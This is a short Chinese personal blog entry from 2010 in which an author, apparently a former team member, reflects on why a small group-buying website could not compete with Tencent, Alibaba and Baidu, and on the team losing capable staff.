2010.9.5

其实当初就不看好团购这种门槛很低的应用，这种应用对腾讯、阿里、百度这些互联网大佬来说，搞一个只是洒洒水的事情。做为一个从零起步的网站如何跟这些大佬过招？技术？会员数？市场影响力？依照腾讯的用户数及其辐射面，在其团购网站首页上，在某城市推一个商品，让这家店的店面直接被挤破估计不是什么难事儿！谈到议价能力，只要说：“我是腾讯团购网的商品采编”，估计在中国这种严重买方事情的情况下，没有哪个商家能够继续保持淡定！前面说了会员数和影响力，下来是不是应该说说技术了?这个……！呃……！确实无话可说！前面说到的几位互联网大佬，其技术储备都相当可观，并且均有自己的第三方支付平台（支付宝、百付宝、财富通）！试问其他众多小玩家们，能仰望否？

算了众团购还是洗洗睡了吧！

原来该团队的同事渐次离职就该敲起警钟了，走的同事能力都很牛，为什么会接二连三的走呢？每走一个人，继任者多久都接不起来(指望毕业生接程序大牛的代码, 还是系统级的，可能么？），还搞出来一次跨省追加处罚。所以，到后来，旁观者都不好意思推动跨平台控件的事情了…

做为当事人，内牛满面啊！是以为记！